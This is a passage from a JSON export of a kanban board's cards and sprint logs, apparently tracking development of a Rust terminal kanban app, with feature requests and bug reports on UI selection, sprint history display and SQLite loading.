            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784487Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989218842Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742979456Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989219101Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Syntax highlighting for card description",
        "updated_at": "2026-04-04T23:33:28.989220333Z"
      },
      {
        "card_number": 43,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:56.921732Z",
        "created_at": "2025-10-12T16:45:41.135171Z",
        "description": "in the projects panel there is a green text with `Projects` we can drop this as the panel header itself shows projects too.\n\nin the task list there is a green text of the current project. we can drop this and rely on the highlighted item in the projects list instead\n",
        "due_date": null,
        "id": "5d31ae81-75a7-47c7-a6d1-5a9b0f06a5b7",
        "points": 1,
        "position": 15,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155913Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Remove projects projects and kanban green text",
        "updated_at": "2025-10-16T21:02:56.921732Z"
      },
      {
        "card_number": 106,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-30T10:19:55.755205Z",
        "description": "using `H` or `L` should also move the selector for cards along with the moved card\n",
        "due_date": null,
        "id": "2e477ffa-3714-4858-bfd7-3f188ba66a11",
        "points": 2,
        "position": 15,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:34.327386Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:58:48.613009Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264689Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327387Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374897Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264689Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784582Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374897Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743001253Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784582Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989151913Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743001461Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989152181Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "moving and item between columns should also move the selector along with the card",
        "updated_at": "2026-04-04T23:33:28.989153530Z"
      },
      {
        "card_number": 57,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T22:25:04.233204Z",
        "created_at": "2025-10-16T22:12:16.643878Z",
        "description": "Something is off with the selected card. it is not selecting the right car when using `v`, `e` or `space | enter`\n\nThis feature is looking rather fully fledged.\n\nLets go and try to complete it as soov as we can.\n\nWhats currently on my mind is what is the state of of develop.\n\nWe should probably add a develop / in review / merged column and see how that behaves and if we can move all the cards that are currently on develop into it.\n",
        "due_date": null,
        "id": "44079721-1755-4ef4-9713-adb3453f0343",
        "points": 4,
        "position": 16,
        "priority": "High",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155914Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "`v` only works for one column",
        "updated_at": "2025-10-17T06:13:05.136314Z"
      },
      {
        "card_number": 19,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-11T18:45:47.488818Z",
        "description": "If a pull request is open for a card. Open a link to that pull\n\nshow if a card has a pull request open (or in draft in the task list)\n\nExamples\n\nPR opem\n```\nA task name - [PR] (green)\n```\n\nDraft\n```\nA task name - [PR] (greyed out)\n```\n---\n\nI am getting the feeling that this would depend on having configuration for collaborative version control per board\n\n---\n\nGit integration\n",
        "due_date": null,
        "id": "f4c31d5d-7f78-451c-b7db-f26e4931fae4",
        "points": 3,
        "position": 16,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448943Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155908Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:09.863739Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448944Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264721Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:09.863743Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374920Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264721Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784539Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374921Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742966745Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784539Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989185091Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742967015Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989185355Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Link to pull request",
        "updated_at": "2026-04-04T23:33:28.989186911Z"
      },
      {
        "card_number": 107,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-30T18:52:31.763544Z",
        "description": "2025-10-30 19:55:09\n---\n\nWhen changing place of columns in a board\n\nThere are two issues that I have identified\n\nOne is that the boards when exiting the board settings have not updated into the new columnn order\n\nThe second is that moving a column from last in the order does not uncomplete the cards located in that column\n\nperhaps this should be the case but with the current ux of the application I do not think that it should\n\nThe third is that moving a colum to the last in the order does not complete the cards located in the column\n\n",
        "due_date": null,
        "id": "b987e0e8-904e-4bd3-8330-409c02a2cf97",
        "points": 2,
        "position": 17,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:14.917359Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155918Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:34.327375Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:14.917360Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264741Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327380Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374868Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264742Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784595Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374877Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743002950Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784595Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989119674Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743003152Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989119962Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "when changing place of columns",
        "updated_at": "2026-04-04T23:33:28.989121434Z"
      },
      {
        "card_number": 58,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T22:25:41.421733Z",
        "created_at": "2025-10-16T22:25:18.533969Z",
        "description": null,
        "due_date": null,
        "id": "41ec637a-35f3-47a6-bf82-2bfb38f9b2d3",
        "points": null,
        "position": 17,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155915Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "moving card to last column doesnt set complete",
        "updated_at": "2025-12-20T10:08:51.150208Z"
      },
      {
        "card_number": 99,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-26T08:18:12.441900Z",
        "description": null,
        "due_date": null,
        "id": "8009a2a1-564d-47b2-930c-bc9db5fbcf44",
        "points": 3,
        "position": 18,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:34.327392Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-10-31T20:07:04.874820Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264727Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327392Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374968Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264728Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784504Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374968Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742996330Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784504Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989073596Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742996546Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989073863Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "set a due date for a card",
        "updated_at": "2026-04-04T23:33:28.989075467Z"
      },
      {
        "card_number": 454,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-14T19:12:22.566667363Z",
        "description": "## Observed\n\nIn card detail view (render_card_detail_view in kanban-tui/src/ui/card_detail.rs), the sprint history panel is rendered only when !card.sprint_logs.is_empty() (line 72). This means a card with sprint_id set but empty sprint_logs, or a card with no sprint_id at all, shows only the full-width Metadata panel with no sprint context visible.\n\n## Root cause\n\nThe condition:\n\n    let has_sprint_logs = !card.sprint_logs.is_empty();\n\nis too strict. Cards that were never assigned to a sprint (sprint_id = None) are never touched by the migration, so they never show sprint context. Cards assigned to a sprint before the sprint_logs feature landed only get backfilled if sprint_id is set.\n\n## Reproducing\n\nVisit KAN-449 in the TUI card detail view. sprint_id=None, sprint_logs=[]. The metadata row renders full-width with no Sprint History box, even though it was actively worked on during sprint 13.\n\nContrast with KAN-26: 8 sprint_logs, Sprint History box renders correctly on the right half of the metadata row.\n\n## Fix direction\n\nChange the condition to render the sprint history panel whenever the card has either:\n- sprint_id.is_some() (currently in a sprint), OR\n- !sprint_logs.is_empty() (historical sprint involvement)\n\nWhen the panel renders for a card with sprint_id but no sprint_logs, show a single placeholder line like 'Assigned: <sprint-name>' derived from sprint_id plus the sprints list already available to the render function. This keeps layout consistent (metadata always splits 50/50 when sprint context exists) and surfaces the current sprint assignment already stored on the card.",
        "due_date": null,
        "id": "f347ddc5-9884-45dd-b5b7-06321d32f7de",
        "points": null,
        "position": 18,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Sprint history panel not shown for cards with sprint_id but no sprint_logs",
        "updated_at": "2026-05-14T19:12:22.566887480Z"
      },
      {
        "card_number": 100,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-26T09:51:30.456223Z",
        "description": "when filtering tasks list by sprints not assigned. and then assigning a card to a sprint.\n\nThe card assigned still remains in the filtered by no sprint list\n",
        "due_date": null,
        "id": "e0196360-d4a2-4b56-b6d0-5f9ded4e7aee",
        "points": 1,
        "position": 19,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:34.327385Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T17:01:19.623519Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264753Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327385Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374940Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264753Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784601Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374940Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742997945Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784602Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989140803Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742998145Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989141098Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "assigning cards to sprint doesnt remove it from unsprinted cards list",
        "updated_at": "2026-04-04T23:33:28.989142580Z"
      },
      {
        "card_number": 368,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-04-25T18:28:30.275054977Z",
        "description": "When listing cards, the total count in board summary includes archived cards but list_cards API doesn't return them. Card counters show 3 and 2 cards respectively but only 1 card is returned per board.",
        "due_date": null,
        "id": "138be5cc-f008-4f58-bc15-df865947c173",
        "points": null,
        "position": 20,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245082160Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126576516Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245082525Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Bug: Archived cards not included in list count",
        "updated_at": "2026-05-07T22:06:15.245082792Z"
      },
      {
        "card_number": 41,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-12T15:48:23.468340Z",
        "description": "It would be cool if we could add some retrospective note when completing a task\n\nWe could pull in the github pr description or write thoughts on the task or both\n\nCompleting a card with `C` could bring up a $EDITOR to enter said retro notes into\n",
        "due_date": null,
        "id": "21ef5706-4393-458e-93c2-a8ca7792afa8",
        "points": 2,
        "position": 20,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264745Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245014Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374910Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264745Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784536Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374910Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742976262Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784536Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989110758Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742976465Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989111026Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add retrospective note on completed tasks",
        "updated_at": "2026-04-04T23:33:28.989111814Z"
      },
      {
        "card_number": 21,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-17T06:21:18.677703Z",
        "created_at": "2025-10-11T19:25:07.465576Z",
        "description": "Be able to archive a card.\n",
        "due_date": null,
        "id": "6c1e0ca7-22bb-49e5-86bc-8d1e2a55c9ee",
        "points": 2,
        "position": 21,
        "priority": "Low",
        "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155908Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Archive a card",
        "updated_at": "2025-10-17T06:21:18.677707Z"
      },
      {
        "card_number": 52,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-14T21:33:04.011953Z",
        "description": "Sprint details view — show the sprint panel populated with useful information.\n\n## Content\n- Sprint name\n- Days remaining out of total (e.g. 6/7)\n- Cards taken, total points\n- Completed vs incomplete card lists (show both for active and completed sprints)\n- Next sprint: assign tasks, close sprint, start next sprint with rollover flow — show tasks for exclusion or rollover (configurable at board level)\n\n## Notes\n- Card lists should be toggleable (e.g. `c` key), state saved to sprint settings",
        "due_date": null,
        "id": "5a1655e1-3ee3-4987-b352-3334686418b9",
        "points": 4,
        "position": 21,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784531Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155914Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742982538Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784532Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989197096Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742982739Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989197365Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "sprint details UI",
        "updated_at": "2026-04-05T12:27:51.238388935Z"
      },
      {
        "card_number": 367,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-04-24T05:46:21.337114326Z",
        "description": "Add on-demand loading to Model for the SQLite backend path. Instead of loading a full snapshot every frame, only load entity types when the view needs them (ensure_boards, ensure_cards, etc.) and invalidate after mutations (invalidate_cards, invalidate_columns, etc.). The Option<Vec<T>> lazy slots are already in place — this adds the ensure_*/invalidate_* methods and the split prepare_frame logic (snapshot for JSON, lazy ensure for SQLite). Only worth doing if profiling shows full-snapshot reload is a bottleneck for SQLite.",
        "due_date": null,
        "id": "a06f4acc-70d9-49f4-bb1a-fdfd9281f42f",
        "points": null,
        "position": 21,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245084098Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126570479Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245084545Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "SQLite lazy loading in Model (ensure_* + invalidate_*)",
        "updated_at": "2026-05-07T22:06:15.245084917Z"
      },
      {
        "card_number": 319,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-04-06T13:28:57.372033134Z",
        "description": "From PR #213 review. ~56 handler sites in kanban-tui now repeat the same two-line pattern: tracing::error!(\"Failed to X: {}\", e); self.set_error(format!(\"Failed to X: {}\", e)); Consider a macro like err!(self, \"Failed to X\", e) or handle_err!(self, e, \"Failed to X\") that does both in one call. Low priority cleanup.",
        "due_date": null,
        "id": "dd72b66e-872e-4a95-bcd2-3c213dcb77d3",
        "points": 1,
        "position": 22,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541918835Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Extract tracing::error! + set_error() pattern to macro in TUI handlers",
        "updated_at": "2026-04-27T08:35:11.404087597Z"
      },
      {
        "card_number": 22,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-17T06:21:22.542373Z",
        "created_at": "2025-10-11T19:50:58.400403Z",
        "description": "It would feel natural to me if the card description was opened when hitting the e button on an element in the cards list\n",
        "due_date": null,
        "id": "27717d15-3e41-4558-8e6b-3bbdc7fe3762",
        "points": 3,
        "position": 22,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155908Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Hitting e on an item in the task list should open $EDITOR with that tasks description",
        "updated_at": "2025-10-17T06:21:22.542389Z"
      },
      {
        "card_number": 103,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-30T09:43:26.240840Z",
        "description": "Maybe we already have either of these somewhere but I want to make it configurable on application level\n\nto the current json schema I suggest adding a \n```ts\n{\n    // ...\n    config: unknown, // <---\n    board: Board,\n    cards: Card[],\n    // ...\n}\n```\n\nWhere we can put application level settings\n",
        "due_date": null,
        "id": "70f9d448-4017-4faf-8d8c-fc14610807e7",
        "points": 2,
        "position": 22,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:34.327394Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T17:01:19.623533Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264755Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
